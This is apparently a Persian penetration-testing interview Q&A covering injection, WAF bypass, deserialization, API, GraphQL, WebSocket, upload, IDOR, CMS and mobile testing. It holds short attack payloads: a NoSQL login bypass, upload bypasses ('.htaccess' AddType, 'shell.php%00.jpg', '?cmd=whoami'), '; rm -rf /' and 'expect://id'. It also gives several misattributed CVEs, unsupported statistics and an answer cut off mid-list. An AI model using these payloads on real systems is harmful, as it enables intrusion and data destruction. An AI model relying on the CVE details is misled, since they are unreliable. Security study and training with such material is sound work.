بله، در پروژه‌های بزرگ مقیاس (مانند تست زیرساخت‌های ابری با صدها سرویس)، ابتدا تیم‌بندی می‌کنم بر اساس تخصص (وب، شبکه، API). سپس اولویت‌بندی بر اساس criticality (مانند APIهای حساس یا دیتابیس‌ها) انجام می‌دهم. از ابزارهای اتوماسیون مثل Ansible برای اسکریپتینگ Recon و Scanning استفاده می‌کنم، و dashboard مشترک (مانند Dradis یا Jira) برای پیگیری پیشرفت. چالش اصلی scale بود، پس از parallel testing با ابزارهایی مثل Masscan و Burp Enterprise کمک گرفتم تا زمان رو بهینه کنم، در حالی که compliance (مثل GDPR) رو رعایت می‌کردم.

2. حمله Blind SQLI و NoSQL Injection چیست؟ روش‌های پیشرفته شناسایی و اکسپلویت آن را شرح دهید.

Blind SQL Injection:

حمله‌ای است که بدون خطای مستقیم، از پاسخ‌های Boolean یا time-based برای استخراج داده استفاده می‌کند (مثل چک 'AND 1=1' برای true/false). NoSQL Injection مشابه است اما در دیتابیس‌های non-relational (مثل MongoDB) رخ می‌دهد، جایی که queryها JSON-like هستند و می‌توان با {$ne: null} بایپس کرد.

روش‌های شناسایی:

نوع	روش	ابزار
Blind SQLi	Boolean-based (تفاوت در پاسخ true/false)، Time-based (SLEEP/DELAY)	Burp Intruder, SQLMap (--level 5)
NoSQL Inj	تزریق operatorها مثل $gt, $regex	NoSQLMap, Burp Repeater

اکسپلویت:

Blind SQLi:

از SQLMap با --technique=BT برای bit-by-bit extraction.

NoSQL:

با payloads مثل {"user": {"$ne": null}, "pass": {"$regex": "^a"}} برای brute-force. در scale بزرگ، از Nuclei templates برای اسکن اتومات استفاده کنید.

نکته پیشرفته: در محیط‌های hardened، از OOB (Out-of-Band) با Burp Collaborator برای استخراج داده کمک بگیرید.

3. در طول پروژه‌هایتان به WAF برخوردید؟ واکنش شما چه بوده است؟ آیا توانستید بایپس کنید؟ به چه صورت؟

بله، در اکثر پروژه‌ها (مثل Cloudflare یا ModSecurity)، ابتدا شناسایی WAF با wafw00f انجام می‌دم. از obfuscation پیشرفته مثل random case، URL encoding چندلایه، یا HTTP Parameter Pollution استفاده می‌کنم. اگر بایپس نشد، به subdomains بدون WAF سوییچ می‌کنم یا از gray-box creds برای internal access. در یک مورد، با HTTP/2 smuggling (PRI method) بایپس کردم. همیشه logهای WAF رو برای false positive چک می‌کنم تا exploit رو refine کنم.

4. آسیب‌پذیری Deserialization چیست؟ چگونه در محیط‌های واقعی کشف می‌کنید و اکسپلویت می‌کنید؟

Deserialization:

زمانی رخ می‌دهد که داده سریال‌شده (مثل Java Serialized Objects یا PHP unserialize) بدون اعتبارسنجی به object تبدیل شود، منجر به RCE یا privilege escalation می‌شود.

کشف:

جستجوی signatureها مثل aced0005 (Java) در requests.
در white-box: SAST با SonarQube برای unsafe deserialize calls.
در black-box: fuzzing serialized params با ysoserial payloads.

اکسپلویت:

ساخت gadget chains با ysoserial (مثل CommonsCollections برای RCE).
ارسال در cookie/base64 param، منجر به command exec (مثل Runtime.exec("calc.exe")).

نکته: در فریم‌ورک‌هایی مثل Spring، CVE-2016-1000027 رو چک کنید.

5. تجربه تست نفوذ روی برنامه‌های وب سمت کلاینتی مثل SPA (Angular/React) را داشتید؟ روند تستتان با تمرکز روی آسیب‌پذیری‌های سمت سرور را شرح دهید.

بله، در پروژه‌های متعدد روی SPAها (مانند Angular یا React apps) کار کردم، جایی که تمرکز اصلی‌ام روی ارتباط client-server است، زیرا client-side vulns اغلب به backend leaks یا RCE منجر می‌شوند. روند تست را به صورت مرحله‌به‌مرحله دنبال می‌کنم:

مراحل تست:

تحلیل اولیه client-side: کد JS را deobfuscate می‌کنم (با ابزارهایی مثل JSNice یا de4js) و به دنبال storage insecure (localStorage برای tokens) یا DOM manipulation می‌گردم.
فوکوس روی سمت سرور: API calls (مثل fetch/Axios) را intercept می‌کنم و params رو برای IDOR یا injection fuzz می‌کنم. مثلاً در Angular resolvers، اگر param sanitized نباشه، به SSRF یا SQLi در backend می‌رسه.
تست state management: Redux/Vuex رو چک می‌کنم برای session hijacking (leak state via console) که به سرور-side auth bypass منجر بشه.
اکسپلویت chained: اگر XSS در SPA پیدا کنم، ازش برای steal API tokens استفاده می‌کنم و backend رو exploit می‌کنم (مثل RCE via deserialization).

ابزارهای کلیدی:

ابزار	کاربرد
OWASP ZAP	Dynamic scan برای API flows
Burp Suite	Intercept و fuzzing client-server traffic
Arachni	Crawling SPA و vuln detection
Jade	Decompile JS bundles

چالش و مثال: در یک پروژه React، state leak از Redux devtools به IDOR در backend منجر شد و privilege escalation به admin shell رو ممکن کرد. همیشه white-box (code access) رو ترجیح می‌دم برای deep analysis.

6. تجربه خود را در فرآیند تست نفوذ API بر اساس OWASP Top 10 شرح دهید، با تمرکز روی RCE و data exposure.

در تست APIها، از OWASP API Security Top 10 (به‌روزرسانی ۲۰۲۳) به عنوان roadmap استفاده می‌کنم، با اولویت روی A03 (Injection) و A02 (Broken Data Protection) برای RCE و exposure. روندم شامل map endpoints، auth validation و exploit chaining است.

مراحل تست با تمرکز RCE/Data Exposure:

Mapping و Discovery:

با Burp Spider یا Kiterunner endpoints رو enumerate می‌کنم، hidden params رو با Arjun پیدا می‌کنم.

تست Injection (A03) برای RCE:

پیلودهای SQL/NoSQL/Command inj رو در params/body تست می‌کنم (مثل '; exec('id') در JSON). اگر SSRF (A10) باشه، به internal services می‌رسم.

Data Exposure (A02):

رسپانس هارو برای unencrypted sensitive data (PII, tokens) چک می‌کنم؛ headers مثل HSTS رو validate می‌کنم.

Mass Assignment (A04): تست هایی برای افزایش دسترسی مثل is_admin: true رو به ریکویست ها اضافه می‌کنم.

ابزارهای کلیدی:

ابزار	کاربرد
Burp Suite	Fuzzing , Repeter, Extensions
ffuf	Brute-force hidden endpoints
Nuclei	Template-based scan for CVEs
Raven	Smart vulnerability Scanner

مثال پروژه: در یک REST API، با CI در query param (A03) به RCE رسیدم و env vars sensitive رو dump کردم (A02).

امتیاز CVSS: 9.8.
همیشه remediation مثل input whitelisting پیشنهاد می‌دم.

7. از چه روش‌هایی برای کشف Race Conditions استفاده می‌کنید؟ چگونه از ابزارهایی مثل Turbo Intruder یا Repeater در Burp Suite بهره می‌برید؟

برای race conditions (مثل concurrent updates منجر به double spend)، چند thread/account همزمان تست می‌کنم.

میتونیم پکت مورد نظر که میتونه منجر به ریس بشه رو اکسپلویت کنیم با زبان هایی مثل پایتون یا گولنگ و هردو پکت رو بصورت همزمان ارسال کنیم و رسپانس هارو تحلیل کنیم.
در BurpTurbo Intruder میتونیم از اسکریپت های اماده جیمز کتل استفاده کنیم
در Repeater میتونیم پکت هارو دوبل کنیم و با استفاده از فیچر همزمانی در ریپیتر پکت هارو به یک دسته مشخص تعلق بدیم و بعدش همه اونارو باهم ارسال کنیم.

8. چگونه 2FA و MFA دور می‌خورند؟ در یک سناریو واقعی با تمرکز روی سمت سرور شرح دهید.

دور زدن با logic flaws مثل rate limit bypass یا session reuse پس از 2FA.

سناریو: در اپ بانکی، با user enumeration (A07) و brute-force code (بدون expiry سریع)، کد OTP رو guess کردم.
ابزار: Evilginx2 برای MITM phishing. سمت سرور: چک weak token generation (predictable seeds).

9. تجربه تست نفوذ روی معماری Microservices را داشتید؟ با چه چالش‌هایی مواجه بودید و چگونه RCE در سرویس‌ها را مدیریت کردید؟

بله، هر سرویس رو جدا تست می‌کنم (مثل auth vs payment).

چالش: inter-service comms (gRPC/Kafka) که ممکنه insecure باشه. برای اکسس به سرور injection در API gateways. در پروژه هایی که ممکن است با ساختار قدیمی برخورد کنم به دنبال اندپوینت هایی خواهم بود که حدس میزنم قدیمی باشند چون اینطوری احتمال اینکه فانکشن داخل بک اند دارای کد اسیب پذیر باشه بیشتر خواهد بود.

10. تجربه تست نفوذ روی Serverless Applications مثل AWS Lambda را داشتید؟ چگونه آسیب‌پذیری‌های سمت سرور مثل RCE را تست می‌کنید؟

بله، در چندین پروژه روی پلتفرم‌های serverless مثل AWS Lambda، Azure Functions و Google Cloud Functions کار کردم، جایی که تمرکز اصلی‌ام روی misconfigurations سمت سرور است، زیرا serverless اغلب به RCE یا data breach منجر می‌شود. روند تست را با درک event-driven architecture شروع می‌کنم و اولویت روی IAM و event triggers می‌دم.

مراحل تست با تمرکز روی RCE:

Reconnaissance IAM و Permissions: roles over-privileged رو enumerate می‌کنم (مثل lambda:InvokeFunction بدون least privilege).
تست Event Handlers برای RCE: ورودی هارو برای injection (code eval در handlers) fuzz می‌کنم، مثل S3 event triggers که unsanitized payload رو exec می‌کنه.
چک Env Vars و Secrets:

جستجو برای hard-coded keys یا exposure در CloudWatch logs.

تست Cold Start و Timing:

در race conditions در concurrent invocations برای bypass limits.

اکسپلویت Chained:

اگر RCE پیدا کنم، ازش برای lateral movement به S3/EC2 استفاده می‌کنم.

ابزارهای کلیدی:

ابزار	کاربرد
Pacu	Framework برای AWS exploitation (IAM enum, Lambda RCE)
Prowler	Compliance scan برای serverless misconfigs
Burp Suite	Fuzzing API Gateway inputs
LambdaGuard	Static analysis برای Lambda functions

نکته پیشرفته: همیشه event sources (SQS, API Gateway) رو چک کنید، زیرا اغلب source of RCE هستند.

11. برای تست نفوذ APIهای GraphQL از چه روش‌هایی استفاده می‌کنید؟ چگونه آسیب‌پذیری‌های کشف‌شده مثل introspection bypass را چک می‌کنید؟

در تست GraphQL APIs، از schema-driven approach استفاده می‌کنم، جایی که ابتدا introspection رو exploit می‌کنم و سپس queries/mutations رو برای RCE-like vulns (مثل batching attacks) fuzz می‌کنم. تمرکز روی server-side resolution errors که به data exposure یا DoS منجر می‌شه.

مراحل تست:

Schema Discovery:

در introspection query برای map types, fields و resolvers.

Fuzzing Queries:

در deep nesting برای DoS (query depth >1000)، injection در args (مثل SQLi در custom resolvers).

Access Control Testing:

تست unauthorized fields (مثل internal:admin) رو query انجام مبدم.

Introspection Bypass Check:

اگر disable باشه، از fragments یا persisted queries برای guess schema استفاده می‌کنم؛ یا از tools برای reverse engineering.

اکسپلویت Advanced:

استفاده batching رو abuse می‌کنم برای amplification attacks.

ابزارهای کلیدی:

ابزار	کاربرد
GraphiQL/GraphQL Playground	Manual schema exploration
Clairvoyance	Blind introspection bypass
GraphQL Voyager	Visual schema mapping
InQL	Burp extension برای GraphQL fuzzing

12. آیا به کنترل‌های امنیتی سمت کلاینت برخوردید؟ چگونه دور زدید و ارتباط آن با سمت سرور را توضیح دهید.

بله، مثل JS validation که با disable JS یا Burp modify دور می‌زنم. در سمت سرور همیشه re-validate کنید، چون client bypassable است. در یک مورد، با تغییر XHR params، به server-side inj رسیدم.

13. تجربه‌ای روی Business Email Compromise (BEC) دارید؟ چگونه به سرور سازمان لینک می‌شود؟

بله، با spoofing domain برای phishing creds، سپس lateral movement به سرور. در پروژه، با compromised email، malware attachment فرستادم و RCE گرفتم.

لینک به سرور: استفاده از stolen creds برای VPN access.

14. چند نمونه از حملاتی که می‌توان روی XXE پیاده‌سازی کرد را شرح دهید، با تمرکز روی RCE.

File Disclosure:

خواندن /etc/passwd.

SSRF:

درخواست به internal IP.

RCE:

با PHP expect://wrapper (expect://id) اگر enable باشه. یا billion laughs برای DoS.

15. آپلودر را چگونه تست می‌کنید؟ روش‌های پیشرفته بایپس آپلودرتان را با تمرکز روی RCE شرح دهید.

تست آپلودر یکی از مراحل کلیدی در پنتستینگ است، زیرا اغلب به RCE (Remote Code Execution) منجر می‌شود. روند تست رو با شناسایی محدودیت‌ها شروع می‌کنم (extension, MIME type, size, content validation) و سپس بایپس‌های پیشرفته رو اعمال می‌کنم. تمرکز روی تکنیک‌هایی که به اجرای کد روی سرور می‌رسه، مثل آپلود webshell.

مراحل کلی تست آپلودر:

شناسایی محدودیت‌ها:

درخواست آپلود رو در Burp capture می‌کنم و params (filename, Content-Type, body) رو تحلیل می‌کنم. چک می‌کنم آیا server-side validation (magic bytes, getimagesize در PHP) وجود داره.

تست اولیه:

فایل‌های benign (مثل JPG واقعی) آپلود می‌کنم تا path ذخیره‌سازی رو پیدا کنم (مثل /uploads/filename.jpg).

بایپس و اکسپلویت:

تکنیک‌های پیشرفته رو اعمال می‌کنم تا shell آپلود کنم و trigger کنم.

پست اکسپلویتیشن:

اگر RCE بگیرم، reverse shell (مثل nc یا php reverse) راه می‌ندازم.

روش‌های پیشرفته بایپس با تمرکز روی RCE:

بر اساس تحقیقات آنلاین (از منابع مثل OWASP, Packetlabs, Vaadata و checklists پنتستینگ)، بهترین تکنیک‌ها عبارتند از:

روش	توضیح	مثال بایپس به RCE
Polyglot Files	ساخت فایل hybrid که هم تصویر معتبر باشه و هم کد executable (embedding PHP/ASP در metadata یا EOF تصویر).	JPG با magic bytes FF D8 FF شروع بشه، اما در انتها اضافه کن. آپلود به عنوان image.jpg، سپس با ?cmd=whoami trigger کن تا RCE بگیری.
.htaccess Overwrite	اگر directory writable باشه، .htaccess آپلود کن تا extهای custom رو PHP exec کنه.	محتوای .htaccess: AddType application/x-httpd-php .jpg. سپس shell.jpg (با کد PHP) آپلود کن و اجرا کن. منجر به RCE via web access.
Null Byte Injection	%00 برای truncate ext در PHP قدیمی (<5.3).	shell.php%00.jpg آپلود کن؛ server filename رو shell.php می‌بینه و exec می‌کنه. برای RCE: کد webshell اضافه کن.
MIME Spoofing with Magic Bytes	تغییر Content-Type به image/* اما content رو با کد مخرب شروع کن.	فایل رو با GIF89a; شروع کن (magic bytes GIF)، اما اضافه کن. اگر validation ضعیف باشه، به RCE via POST می‌رسه.
Double Extension with Case Variation	ترکیب extها با case mixing برای bypass blacklist.	shell.pHp.jPg آپلود کن؛ اگر case-insensitive نباشه، به عنوان PHP exec می‌شه. RCE با trigger param.
Content-Type Manipulation	هدر رو به multipart/form-data تغییر بده و filename رو obfuscate کن.	در Burp، Content-Type: image/jpeg ست کن اما body رو با ASP shell پر کن. منجر به RCE در IIS.
ImageTragick-like Exploits	اگر ImageMagick استفاده بشه، payload CVE-2016-3714 در SVG برای command exec.	SVG با <![CDATA[

ابزارهای پیشنهادی:

ابزار	کاربرد
Burp Suite	Capture و modify requests برای بایپس realtime
Upload_Bypass	اتومات تکنیک‌ها (ext, MIME, null byte)
ExifTool	Embed کد در metadata تصاویر
Commix	اگر بایپس به command inj منجر بشه

16. چگونه امنیت WebSocket در برنامه‌های وب تست می‌کنید؟ چگونه به RCE منجر می‌شود؟

تست امنیت WebSocketها (WS) حیاتی است، زیرا پروتکل دوطرفه و persistent آن‌ها اغلب به vulns مثل injection, DoS یا RCE منجر می‌شه. بر اساس منابع به‌روز (مانند OWASP, PortSwigger 2025 و repos GitHub مثل STEWS و awesome-websocket-security)، روند تست رو با تمرکز روی server-side flaws دنبال می‌کنم که می‌تونه به اجرای کد روی سرور برسه.

مراحل تست امنیت WebSocket:

Reconnaissance و Discovery:

ابتدا endpointهای WS را از کد JS یا ترافیک شبکه شناسایی می‌کنم.سپس بررسی می‌کنم آیا upgrade از HTTP به WS امن است یا خیر.

Connection و Authentication Testing:

اتصال برقرار می‌کنم و احراز هویت (توکن، کوکی) را اعتبارسنجی می‌کنم. بعد origin validation را برای جلوگیری از CSWSH چک می‌کنم.

Message Fuzzing و Injection:

پیام‌ها را برای XSS، SQLi یا command injection fuzz می‌کنم.تمرکز روی ورودی‌های unsanitized است که به backend می‌رسد.

DoS و Resource Abuse:

پیام‌های حجیم یا malformed frames ارسال می‌کنم. هدف crash سرور یا مصرف بیش از حد منابع است.

Post-Exploitation Check:

اگر آسیب‌پذیری پیدا شد، آن را به RCE ارتقا می‌دهم.مثلاً با تزریق payload، اجرای دستورات را تست می‌کنم.

Automated Scanning:

از ابزارهای خودکار برای تست دسته‌ای استفاده می‌کنم.نتایج را با تست دستی ترکیب می‌کنم.

روش‌های پیشرفته تست (از GitHub و منابع 2025):

روش	توضیح
Origin Validation Bypass	چک می‌کنم آیا سرور هر origin را قبول می‌کند؛ منجر به hijacking و session theft می‌شود.
Injection Attacks	payloadهای SQLi یا Command Inj در پیام‌ها تزریق می‌کنم؛ اگر handler sanitize نکند، فعال می‌شود.
Frame Manipulation	opcodeها را تغییر می‌دهم (مثل invalid close frames)؛ برای crash یا bypass فیلترها استفاده می‌شود.
DoS via Resource Exhaustion	frames بزرگ یا infinite loops ارسال می‌کنم؛ CPU/memory را overload می‌کند.
Protocol-Level Vulns	CVEs مثل buffer overflow در پیاده‌سازی‌ها را چک می‌کنم (مثل ws module در Node.js).

چگونه به RCE منجر می‌شود؟

اگر پیام unsanitized به backend handler برسد، به RCE تبدیل می‌شود:

مثال: در یک WS chat app، اگر ورودی مستقیم به system() یا eval() برود، payload مثل ; rm -rf / تزریق می‌کنم.
چینینگ: ابتدا با CSWSH session را دامپ میکنم، سپس injection برای RCE انجام می‌دهم (مثل CVE-2024-41570).
آمار 2025: طبق DeepStrike، ۳۰% از WS vulns به RCE escalate می‌شوند، به‌ویژه در محیط‌های serverless.

ابزارهای کلیدی کلی:

Tool	Use Case
Burp Suite	Intercept, replay and fuzz messages
OWASP ZAP	Automated scanning and active attacks
STEWS (GitHub)	Specialized WS enumeration and vuln detection
wscat/ws-fuzzer	Manual connection and simple fuzzing
websocket-connection-smuggler (GitHub)	WebSocket smuggling and protocol abuse

نکته پیشرفته:
همیشه WSS (TLS) را اجباری کنید.
rate limiting روی پیام‌ها اعمال کنید.
در پروژه‌ها، این روش‌ها را با اسکریپت‌های سفارشی ترکیب می‌کنم (از repos مثل PalindromeLabs/STEWS).

17. روش‌های تستتان برای کشف IDOR را شرح دهید، با مثال privilege escalation به سرور.

IDOR (Insecure Direct Object Reference):

یکی از شایع‌ترین آسیب‌پذیری‌های کنترل دسترسی است که اغلب به privilege escalation و حتی دسترسی به سرور منجر می‌شود. روش‌های تست من ترکیبی از دستی، نیمه‌اتوماتیک و کاملاً اتوماتیک است، با تمرکز روی شناسایی الگوهای قابل پیش‌بینی در شناسه‌ها.

مراحل تست IDOR:

نقشه‌برداری از منابع:

تمام درخواست‌هایی که شامل شناسه (ID, UUID, path, filename) هستند را شناسایی می‌کنم.
مثلاً /api/user/123/profile یا /download/456/report.pdf.

تغییر دستی شناسه‌ها:

ابتدا ID خودم را با مقادیر مجاور (مثل 122, 124) یا الگوهای رایج (1, 0, -1) جایگزین می‌کنم. سپس پاسخ سرور را از نظر تغییر محتوا یا خطا تحلیل می‌کنم.

اتوماسیون با Burp Intruder:

پارامتر مشکوک را با $ علامت‌گذاری می‌کنم.از wordlistهای تخصصی مثل SecLists (raft-medium-files, numbers.txt, uuids.txt) استفاده می‌کنم. فیلتر پاسخ بر اساس طول محتوا، وجود کلمات کلیدی (admin, root) یا کد وضعیت (200 vs 403).

تست نقش‌های مختلف:

با حساب‌های کاربر عادی، مهمان و ادمین (اگر در دسترس) تست می‌کنم.
هدف: تشخیص Horizontal (کاربر به کاربر) و Vertical (کاربر به ادمین) IDOR.

فاز اکسپلویت و Escalation:
اگر دسترسی به منبع حساس (مثل فایل تنظیمات یا پنل مدیریت) گرفتم، به دنبال RCE می‌گردم.
مثال: تغییر ?file_id=100 به ?file_id=1 → دسترسی به etc/passwd/ یا آپلود شل.

مثال واقعی privilege escalation به سرور:

در یک اپلیکیشن مدیریت محتوا، درخواست زیر وجود داشت:

GET /api/admin/settings/backup?id=5

با تغییر id=1، دسترسی به بکاپ دیتابیس گرفتم که شامل کلیدهای SSH بود. سپس با کلید، به سرور SSH زدم و RCE کامل گرفتم.

ابزارهای کلیدی:

ابزار	کاربرد
Burp Suite Intruder	Fuzzing خودکار شناسه‌ها
Arjun	کشف پارامترهای مخفی در JSON
ffuf	Brute-force UUID و pathها
Custom Python Scripts	تست همزمان چند نقش با threads

نکته پیشرفته:
در UUIDهای نسخه ۴، فقط ۶ بیت آخر را تغییر می‌دهم (کمتر از ۶۴k ترکیب).
در white-box، کد controllerها را برای findById() بدون ownership check بررسی می‌کنم.

18. آیا روی CMS خاصی تست نفوذ کردید؟ چه مواردی را با تمرکز روی CVEs سمت سرور تست کردید؟

بله، تجربه گسترده‌ای در تست نفوذ روی CMSهای محبوب مثل WordPress، Joomla، Drupal و Magento دارم. تمرکز اصلی من روی آسیب‌پذیری‌های سمت سرور است که به RCE، privilege escalation یا دسترسی کامل به سیستم منجر می‌شوند.

CMSهای تست‌شده و موارد کلیدی:

CMS	موارد تست‌شده با تمرکز سرور
WordPress	افزونه‌های پرخطر (File Manager, WP File Upload) → CVE-2021-24207 (RCE) آپلود شل از طریق تم‌های آسیب‌پذیر Deserialization در REST API (CVE-2022-21661)
Joomla	کامپوننت‌های قدیمی → SQLi در com_fields RCE از طریق misconfig در com_media (CVE-2023-23752)
Drupal	Drupalgeddon2 (CVE-2018-7600) → RCE بدون احراز هویت REST API deserialization (CVE-2019-6340)
Magento	SQLi در checkout (CVE-2022-24086) RCE از طریق template injection در admin panel

روش تست CVEs سمت سرور:

نسخه‌یابی دقیق:

با Wappalyzer و banner grabbing، نسخه core و افزونه‌ها را شناسایی می‌کنم. سپس با WPScan، JoomScan یا Droopescan، CVEهای شناخته‌شده را چک می‌کنم.

تست خودکار CVE:

از Nuclei با templateهای CMS-specific استفاده می‌کنم. مثال: nuclei -t cves/ -target https://site.com

تست دستی اکسپلویت:

پروف اف کانسپت های عمومی (از Exploit-DB) را در محیط local reproduce می‌کنم. سپس در هدف واقعی با Burp Repeater اجرا می‌کنم.

اکسپلویت زنجیره‌ای:

مثلاً SQLi → dump hash → crack → login as admin → آپلود شل → RCE.

ابزارهای تخصصی:

ابزار	کاربرد
WPScan	اسکن WordPress (CVE + weak creds)
JoomScan	شناسایی Joomla vulns
CMSmap	اسکن خودکار چند CMS
Nuclei	تست CVE با template
Metasploit	اکسپلویت خودکار (wordpress_file_upload_rce)

مثال واقعی RCE:
در یک سایت WordPress با افزونه WP File Manager 6.0-6.8، با آپلود فایل ZIP مخرب و تغییر Content-Type، به RCE رسیدم (CVE-2020-25213).
سپس با webshell، reverse shell به سرور گرفتم.

نکته پیشرفته:

همیشه افزونه‌های غیرفعال را هم چک کنید — ممکن است همچنان قابل دسترسی باشند. در white-box، کد افزونه‌ها را با SonarQube اسکن می‌کنم.

19. با چه روشی مکانیسم‌های Authentication و Authorization در برنامه‌های موبایلی که با وب‌سرویس کار می‌کنند تست می‌گیرید؟

تست Authentication و Authorization در اپ‌های موبایل (Android/iOS) که با backend وب‌سرویس (API) تعامل دارند، نیاز به ترکیبی از تحلیل استاتیک، دینامیک و runtime manipulation دارد. تمرکز من روی bypassهای سمت کلاینت است که به سرور-side vulns مثل token replay یا privilege escalation منجر می‌شود.

مراحل تست:

Decompilation و Static Analysis:
فایل APK/IPA را decompile می‌کنم تا کد منبع (Java/Swift) و assets (API endpoints, keys) رو استخراج کنم.
سپس به دنبال hard-coded credentials یا weak hashing می‌گردم.
Runtime Hooking و Manipulation:
اپ رو روی emulator/device اجرا می‌کنم و با hooking، توکن‌ها یا params رو modify می‌کنم.
مثلاً JWT رو decode و claims رو تغییر می‌دهم تا auth bypass کنم.
تست Backend Integration:
API calls رو intercept می‌کنم و با حساب‌های مختلف (user/admin) تست می‌کنم.
چک می‌کنم آیا server-side RBAC (Role-Based Access Control) درست پیاده‌سازی شده یا خیر.
تست Mobile-Specific Vulns:
ذخیره‌سازی insecure (SharedPreferences) رو چک می‌کنم.
سپس سناریوهای offline (token reuse) رو برای replay attacks تست می‌کنم.
اکسپلویت Chained:
اگر bypass موفق بود، به RCE در backend escalate می‌کنم (مثل injection در authenticated endpoints).

ابزارهای کلیدی:

ابزار	کاربرد
Jadx	Decompile APK به Java source
Frida	Runtime hooking و manipulation functions
MobSF	Automated static/dynamic analysis
Burp Suite Mobile Assistant	Intercept API traffic در emulator
Objection	Advanced Frida wrapper برای iOS/Android

مثال واقعی:
در یک اپ بانکی Android، با Jadx API key hard-coded رو پیدا کردم.
سپس با Frida، token رو به admin role تغییر دادم و به backend endpoint حساس (transfer funds) دسترسی گرفتم، که به privilege escalation سرور منجر شد.

نکته پیشرفته:
همیشه certificate pinning رو bypass کن (با Frida scripts) تا MITM attacks ممکن بشه.
در iOS، از Needle برای jailbreak analysis استفاده می‌کنم.

20. چگونه از SAST و DAST برای بررسی کد و runtime vulns استفاده می‌کنید؟

SAST (Static Application Security Testing) و DAST (Dynamic Application Security Testing):

دو رویکرد مکمل برای شناسایی آسیب‌پذیری‌ها هستند. SAST برای کد استاتیک (early detection) و DAST برای runtime behavior (real-world exploits) استفاده می‌شود. ترکیب آن‌ها coverage کاملی می‌ده، به‌ویژه برای vulns سمت سرور مثل injection یا RCE.

مراحل استفاده از SAST و DAST:

پیاده‌سازی SAST:
کد منبع رو scan می‌کنم تا insecure functions (مثل eval(), unserialize) رو پیدا کنم.
سپس نتایج رو با manual review ترکیب می‌کنم تا false positiveها رو فیلتر کنم.
اجرای DAST:
اپ رو در محیط staging اجرا می‌کنم و traffic رو برای vulns runtime (مثل SSRF) تست می‌کنم.
تمرکز روی chained attacks که از static findings الهام می‌گیرن.
ترکیب و Correlation:
خروجی SAST رو با DAST match می‌کنم (مثل CWE mapping).
مثلاً اگر SAST deserialization vuln نشون بده، DAST رو برای confirmation exploit می‌کنم.
Reporting و Remediation:
اولویت‌بندی بر اساس CVSS، با PoC از DAST.
پیشنهاد fixهای code-level از SAST.
Continuous Integration:

از SAST رو در CI/CD pipeline (GitHub Actions) embed می‌کنم. DAST رو periodic در staging run می‌کنم.

ابزارهای کلیدی:

نوع	ابزار	کاربرد
SAST	SonarQube	Static analysis برای insecure code (Java/JS/PHP)
SAST	Semgrep	Rule-based scanning برای custom patterns
DAST	OWASP ZAP	Dynamic scan و fuzzing runtime traffic
DAST	Burp Suite Pro	Advanced crawling و exploit confirmation
ترکیبی	DefectDojo	Aggregation findings از هر دو

مثال واقعی:
در یک پروژه PHP، SAST (SonarQube) unserialize vuln رو پیدا کرد.سپس با DAST (ZAP)، payload ysoserial رو inject کردم و به RCE در runtime رسیدم، که CVSS 9.8 داد.

نکته پیشرفته:
خود SAST برای zero-day logic flaws عالیه، اما DAST رو برای confirmation اجباری کنید.
در cloud envs، از Checkov (SAST for IaC) ترکیب کنید.

21. آیا ایده‌ای برای پیدا کردن آسیب‌پذیری‌های zero-day در سازمان هدف دارید؟ در کدام حالت (white/gray/black box) موقعیت بررسی zero-day بیشتر است؟

Zero-day vulnerabilities (آسیب‌پذیری‌های روز صفر)

در وب، آسیب‌پذیری‌های ناشناخته‌ای هستند که هیچ پچ یا وصله‌ای برای آن‌ها وجود ندارد و اغلب از طریق تحلیل عمیق، fuzzing یا مهندسی معکوس کشف می‌شوند. بر اساس گزارش‌های به‌روز تا نوامبر ۲۰۲۵ (مانند OWASP، CVE Details و تحقیقات PortSwigger)، انواع رایج zero-day در وب شامل:

Logic Flaws در Business Flows:

نقص‌های منطقی منحصربه‌فرد، مانند race conditions در پرداخت‌ها یا bypassهای authentication مبتنی بر timing attacks.

Deserialization Gadget Chains:

زنجیره‌های exploit در سریالایزرها (مثل Java’s ObjectInputStream یا PHP’s unserialize) که قبلاً شناسایی نشده‌اند.

Injection Variants:

انواع جدید SQLi/NoSQLi یا command injection که WAFها را دور می‌زنند، مانند polyglot payloads.

Third-Party Library Zero-Days:

آسیب‌پذیری‌های کشف‌نشده در libs مثل Log4j (مشابه Log4Shell) یا Composer packages در Laravel.

Configuration-Driven Vulns:

میس کانفیگ پویا، مانند SSRF در cloud-native apps (AWS Lambda) یا CSP bypassهای client-side که به server-side RCE منجر می‌شوند.

Supply Chain Attacks:

زیرودی در dependencies، مانند npm packages آلوده.

پیدا کردن zero-day نیاز به رویکرد خلاقانه و iterative دارد. در white-box (بهترین حالت برای zero-day، زیرا دسترسی کامل به کد، docs و env فراهم می‌کند)، موقعیت بررسی ۷۰-۸۰% موفقیت‌آمیزتر است . در gray-box، creds داخلی اجازه targeted testing می‌دهد، و در black-box، وابسته به OSINT و fuzzing blind است.

لازم به ذکر است که تحقیقات برای یافتن زیرودی نیازمند بوپجه و حمایت خود سازمان است و چه از لحاظ مالی و چه از لحاظ زمانی بسیار هزینه بر خواهد بود.

روش‌های کشف zero-day (با مثال‌های عملی):

من از ترکیبی از تکنیک‌های manual، automated و lab-based استفاده می‌کنم. در ادامه، روش هارا در دسته‌بندی‌ها آورده‌ام:

1. White-Box: Code Review و Static Analysis عمیق

قوانین سفارشی SAST:

قوانین Semgrep یا SonarQube را برای patterns ناشناخته customize می‌کنم (مثل unsafe deserialization calls بدون validation).
مثال: در Spring، جستجو برای readObject() بدون ObjectInputFilter → کشف gadget chain جدید برای RCE.

ساخت آزمایشگاه PoC:

با کد سازمان، محیط lab می‌سازم (Docker/Kubernetes) و mutations اعمال می‌کنم.

تحلیل Taint:

با ابزارهایی مثل RIPS (PHP) یا FindBugs (Java)، flow داده کاربر را track می‌کنم تا sinkهای ناامن (eval/exec) پیدا کنم.

بررسی گراف وابستگی‌ها:

با OWASP Dependency-Check، graph libs را تحلیل می‌کنم و custom fuzzers برای edge cases می‌سازم.

2. Gray-Box: Targeted Testing با دسترسی محدود

فازینگ API داخلی:

با creds، اندپوینت های داخلی و مخفی را fuzz می‌کنم (Burp Intruder با custom payloads). مثال: fuzzing GraphQL resolvers برای batching DoS zero-day.

جهش‌های مبتنی بر Session:

سشن state را manipulate می‌کنم (Burp Macro) تا logic flaws مثل TOCTOU (Time-of-Check-Time-of-Use) کشف کنم

3. Black-Box: Blind Exploitation Development

فازینگ مبتنی بر OSINT:

پارت tech stack را از Shodan/Wappalyzer شناسایی و custom fuzzers (ffuf/Nuclei templates) می‌سازم. مثال: اگر Laravel detect شد، payloads برای Eloquent injection جدید تست می‌کنم.

فازینگ پروتکل:

با Boofuzz، HTTP/WS protocols را mutate می‌کنم تا parser bugs پیدا کنم (مثل HTTP/2 smuggling variants).

تحلیل رفتاری:

